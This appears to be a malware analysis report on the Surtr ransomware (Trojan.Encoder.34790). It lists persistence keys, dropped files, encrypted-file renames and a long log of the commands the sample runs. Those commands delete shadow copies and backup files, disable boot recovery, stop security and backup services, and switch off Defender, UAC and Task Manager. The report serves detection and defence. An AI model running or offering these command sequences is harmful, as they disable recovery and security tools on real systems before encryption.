Trojan.Encoder.34790

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos1' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos2' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos3' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos4' = '%ALLUSERSPROFILE%\Service\Surtr.exe'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
%APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
<SYSTEM32>\tasks\svchos1
<SYSTEM32>\tasks\svchos2
%APPDATA%\microsoft\windows\start menu\programs\startup\surtr.exe

Creates the following files on removable media

<Drive name for removable media>:\000814251_video_01.avi
<Drive name for removable media>:\february_catalogue__2015.doc
<Drive name for removable media>:\508softwareandos.doc
<Drive name for removable media>:\testee.cer
<Drive name for removable media>:\sdksampleprivdeveloper.cer
<Drive name for removable media>:\contosoroot_1.cer
<Drive name for removable media>:\sdkfailsafeemulator.cer
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\weeklysheet1215.doc
<Drive name for removable media>:\sdksampleunprivdeveloper.cer
<Drive name for removable media>:\tileimage.bmp
<Drive name for removable media>:\dial.bmp
<Drive name for removable media>:\toolbar.bmp
<Drive name for removable media>:\dashborder_144.bmp
<Drive name for removable media>:\split.avi
<Drive name for removable media>:\join.avi
<Drive name for removable media>:\correct.avi
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Task Manager (Taskmgr)
Windows Defender

blocks the following features:

System Restore (SR)
User Account Control (UAC)

modifies the following system settings:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'

deletes volume shadow copies.

Executes the following

'<SYSTEM32>\net.exe' stop "Acronis VSS Provider"
'<SYSTEM32>\net.exe' stop "BackupExecAgentAccelerator"
'<SYSTEM32>\net.exe' stop "BackupExecAgentBrowser"
'<SYSTEM32>\net.exe' stop "BackupExecDeviceMediaService"
'<SYSTEM32>\net.exe' stop "BackupExecJobEngine"
'<SYSTEM32>\net.exe' stop "BackupExecManagementService"
'<SYSTEM32>\net.exe' stop "AcrSch2Svc"
'<SYSTEM32>\net.exe' stop "Antivirus"
'<SYSTEM32>\net.exe' stop "BackupExecRPCService"
'<SYSTEM32>\net.exe' stop "IISAdmin"
'<SYSTEM32>\net.exe' stop "IMAP4Svc"
'<SYSTEM32>\net.exe' stop "macmnsvc"
'<SYSTEM32>\net.exe' stop "masvc"
'<SYSTEM32>\net.exe' stop "MBAMService"
'<SYSTEM32>\net.exe' stop "BackupExecVSSProvider"
'<SYSTEM32>\net.exe' stop "EPSecurityService"
'<SYSTEM32>\net.exe' stop "AcronisAgent"
'<SYSTEM32>\net.exe' stop "Veeam Backup Catalog Data Service"
'<SYSTEM32>\net.exe' stop "Symantec System Recovery"
'<SYSTEM32>\net.exe' stop "Sophos Agent"
'<SYSTEM32>\net.exe' stop "Sophos AutoUpdate Service"
'<SYSTEM32>\net.exe' stop "Sophos Clean Service"
'<SYSTEM32>\net.exe' stop "Sophos Device Control Service"
'<SYSTEM32>\net.exe' stop "Sophos File Scanner Service"
'<SYSTEM32>\net.exe' stop "Sophos Health Service"
'<SYSTEM32>\net.exe' stop " Enterprise Client Service"
'<SYSTEM32>\net.exe' stop "Sophos MCS Agent"
'<SYSTEM32>\net.exe' stop "Sophos Message Router"
'<SYSTEM32>\net.exe' stop "Sophos Safestore Service"
'<SYSTEM32>\net.exe' stop "Sophos System Protection Service"
'<SYSTEM32>\net.exe' stop "Sophos Web Control Service"
'<SYSTEM32>\net.exe' stop "SQLsafe Backup Service"
'<SYSTEM32>\net.exe' stop "SQLsafe Filter Service"
'<SYSTEM32>\net.exe' stop "Sophos MCS Client"
'<SYSTEM32>\net.exe' stop "MBEndpointAgent"
'<SYSTEM32>\net.exe' stop "McAfeeEngineService"

Modifies file system

Creates the following files

%ALLUSERSPROFILE%\service\service.surt
C:\far2\encyclopedia\tap\surtr_readme.hta
C:\far2\documentation\private_data.surt
C:\far2\documentation\surtr_readme.txt
C:\far2\documentation\surtr_readme.hta
C:\far2\documentation\rus\private_data.surt
C:\far2\documentation\rus\surtr_readme.txt
C:\far2\documentation\rus\surtr_readme.hta
C:\far2\documentation\eng\private_data.surt
C:\far2\documentation\eng\surtr_readme.txt
C:\far2\documentation\eng\surtr_readme.hta
C:\far2\addons\private_data.surt
C:\far2\addons\surtr_readme.txt
C:\far2\addons\surtr_readme.hta
C:\far2\addons\xlat\private_data.surt
C:\far2\addons\xlat\surtr_readme.txt
C:\far2\addons\xlat\surtr_readme.hta
C:\far2\addons\xlat\russian\private_data.surt
C:\far2\encyclopedia\tap\surtr_readme.txt
C:\far2\encyclopedia\surtr_readme.hta
C:\far2\plugins\compare\surtr_readme.txt
C:\far2\encyclopedia\surtr_readme.txt
C:\far2\plugins\compare\surtr_readme.hta
C:\far2\plugins\brackets\private_data.surt
C:\far2\plugins\brackets\surtr_readme.txt
C:\far2\plugins\brackets\surtr_readme.hta
C:\far2\plugins\autowrap\private_data.surt
C:\far2\plugins\autowrap\surtr_readme.txt
C:\far2\plugins\autowrap\surtr_readme.hta
C:\far2\plugins\arclite\private_data.surt
C:\far2\plugins\arclite\surtr_readme.txt
C:\far2\plugins\arclite\surtr_readme.hta
C:\far2\plugins\align\private_data.surt
C:\far2\plugins\align\surtr_readme.txt
C:\far2\plugins\align\surtr_readme.hta
C:\far2\fexcept\private_data.surt
C:\far2\fexcept\surtr_readme.txt
C:\far2\fexcept\surtr_readme.hta
C:\far2\encyclopedia\private_data.surt
C:\far2\addons\xlat\russian\surtr_readme.txt
C:\far2\encyclopedia\tap\private_data.surt
C:\far2\addons\xlat\russian\surtr_readme.hta
%TEMP%\service\id_data.surt
%TEMP%\service\public_data.surt
%TEMP%\service\surtr.exe
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
<Current directory>\surtr_readme.txt
<Current directory>\surtr_readme.hta
%ALLUSERSPROFILE%\service\public_data.surt
%ALLUSERSPROFILE%\service\private_data.surt
%ALLUSERSPROFILE%\service\id_data.surt
%ALLUSERSPROFILE%\service\surtr.exe
%ALLUSERSPROFILE%\service\surtr_readme.txt
%ALLUSERSPROFILE%\service\surtr_readme.hta
<Current directory>\private_data.surt
<Current directory>\public_data.surt
<Current directory>\id_data.surt
%ALLUSERSPROFILE%\service\reg.surt
%ALLUSERSPROFILE%\service\bus.surt
%TEMP%\service\private_data.surt
%TEMP%\service\surtr_readme.hta
C:\far2\addons\shell\surtr_readme.txt
%TEMP%\service\surtr_readme.txt
C:\far2\addons\shell\surtr_readme.hta
C:\far2\addons\setup\private_data.surt
C:\far2\addons\setup\surtr_readme.txt
C:\far2\addons\setup\surtr_readme.hta
C:\far2\addons\macros\private_data.surt
C:\far2\addons\macros\surtr_readme.txt
C:\far2\addons\macros\surtr_readme.hta
C:\far2\addons\colors\private_data.surt
C:\far2\addons\colors\surtr_readme.txt
C:\far2\addons\colors\surtr_readme.hta
C:\documents and settings\private_data.surt
C:\documents and settings\surtr_readme.txt
C:\documents and settings\surtr_readme.hta
D:\private_data.surt
D:\surtr_readme.txt
D:\surtr_readme.hta
%ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr.exe
C:\far2\addons\shell\private_data.surt
C:\far2\plugins\compare\private_data.surt

Modifies the following files

D:\install.log.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\farcolors242.reg.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\dn_like.reg.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\weeklysheet1215.doc.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\descript.ion.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\colors_from_sadovoj.reg.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\february_catalogue__2015.doc.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\colors_from_gernichenko.reg.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\508softwareandos.doc.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\testee.cer.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\sdksampleprivdeveloper.cer.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\contosoroot_1.cer.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\sdkfailsafeemulator.cer.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\pmd.cer.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\sdksampleunprivdeveloper.cer.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\default.bmp.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\tileimage.bmp.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\dial.bmp.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\toolbar.bmp.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\dashborder_144.bmp.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\split.avi.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\colors_from_admin_essp_ru.reg.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\join.avi.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\black_from_myodov.reg.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\correct.avi.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\black_from_july.reg.[johnd3crypt@gmail.com].surt
<Drive name for removable media>:\000814251_video_01.avi.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\black_from_fonarev.reg.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\greenmile.reg.[johnd3crypt@gmail.com].surt
C:\far2\addons\colors\custom_highlighting\hell.reg.[johnd3crypt@gmail.com].surt

Modifies multiple files.

Network activity

Connects to

'ip##pi.com':80

TCP

HTTP GET requests

http://ip###i.com:80/json/ via ip##pi.com

UDP

DNS ASK ip##pi.com

Miscellaneous

Executes the following

'<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
'<SYSTEM32>\cmd.exe' /c mkdir "%ALLUSERSPROFILE%\Service"
'<SYSTEM32>\cmd.exe' /c mkdir "%TEMP%\Service"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
'<SYSTEM32>\cmd.exe' /c net stop "Antivirus"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
'<SYSTEM32>\net1.exe' stop "AcrSch2Svc"
'<SYSTEM32>\net1.exe' stop "Antivirus"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentAccelerator"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
'<SYSTEM32>\net1.exe' stop "BackupExecAgentAccelerator"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
'<SYSTEM32>\cmd.exe' /c attrib +R /S "%ALLUSERSPROFILE%\Service"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
'<SYSTEM32>\cmd.exe' /c net stop "AcrSch2Svc"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\attrib.exe' +R /S "%ALLUSERSPROFILE%\Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Symantec System Recovery"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Symantec System Recovery"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Veeam Backup Catalog Data Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Veeam Backup Catalog Data Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "AcronisAgent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "AcronisAgent"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentBrowser"
'<SYSTEM32>\net1.exe' stop "SQLsafe Filter Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Safestore Service"
'<SYSTEM32>\net1.exe' stop "BackupExecAgentBrowser"
'<SYSTEM32>\cmd.exe' /c net stop "macmnsvc"
'<SYSTEM32>\net1.exe' stop "macmnsvc"
'<SYSTEM32>\cmd.exe' /c net stop "masvc"
'<SYSTEM32>\net1.exe' stop "masvc"
'<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c net stop "MBAMService"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\net1.exe' stop "MBAMService"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\cmd.exe' /c net stop "MBEndpointAgent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\net1.exe' stop "MBEndpointAgent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
'<SYSTEM32>\net1.exe' stop "IMAP4Svc"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "IISAdmin"
'<SYSTEM32>\net1.exe' stop "BackupExecDeviceMediaService"
'<SYSTEM32>\cmd.exe' /c attrib +R /S "%TEMP%\Service"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecJobEngine"
'<SYSTEM32>\attrib.exe' +R /S "%TEMP%\Service"
'<SYSTEM32>\net1.exe' stop "BackupExecJobEngine"
'<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecManagementService"
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
'<SYSTEM32>\net1.exe' stop "BackupExecManagementService"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecRPCService"
'<SYSTEM32>\net1.exe' stop "BackupExecRPCService"
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecVSSProvider"
'<SYSTEM32>\net1.exe' stop "BackupExecVSSProvider"
'<SYSTEM32>\cmd.exe' /c net stop "EPSecurityService"
'<SYSTEM32>\net1.exe' stop "EPSecurityService"
'<SYSTEM32>\cmd.exe' /c net stop "IISAdmin"
'<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
'<SYSTEM32>\cmd.exe' /c net stop "BackupExecDeviceMediaService"
'<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Filter Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Clean Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Device Control Service"
'<SYSTEM32>\cmd.exe' /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\Backup*.*
'<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Device Control Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos File Scanner Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos File Scanner Service"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Clean Service"
'<SYSTEM32>\cmd.exe' /c net stop "McAfeeEngineService"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos AutoUpdate Service"
'<SYSTEM32>\cmd.exe' /c chcp 437
'<SYSTEM32>\chcp.com' 437
'<SYSTEM32>\cmd.exe' /c net stop "Acronis VSS Provider"
'<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
'<SYSTEM32>\cmd.exe' /c vssadmin Delete Shadows /all /quiet
'<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
'<SYSTEM32>\net1.exe' stop "Acronis VSS Provider"
'<SYSTEM32>\cmd.exe' /c @echo off
'<SYSTEM32>\cmd.exe' /c net stop " Enterprise Client Service"
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Agent"
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
'<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
'<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
'<SYSTEM32>\net1.exe' stop "Sophos Agent"
'<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy IgnoreAllFailures
'<SYSTEM32>\net1.exe' stop " Enterprise Client Service"
'<SYSTEM32>\net1.exe' stop "Sophos AutoUpdate Service"
'<SYSTEM32>\cmd.exe' /c net stop "IMAP4Svc"
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Health Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos System Protection Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos System Protection Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos Web Control Service"
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Web Control Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Backup Service"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "SQLsafe Backup Service"
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos Safestore Service"
'<SYSTEM32>\net1.exe' stop "Sophos Health Service"
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Agent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos MCS Agent"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoLogoff /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c net stop "Sophos MCS Client"
'<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum /v {645FF040-5081-101B-9F08-00AA002F954E} /t REG_DWORD /d 1 /f
'<SYSTEM32>\net1.exe' stop "Sophos MCS Client"
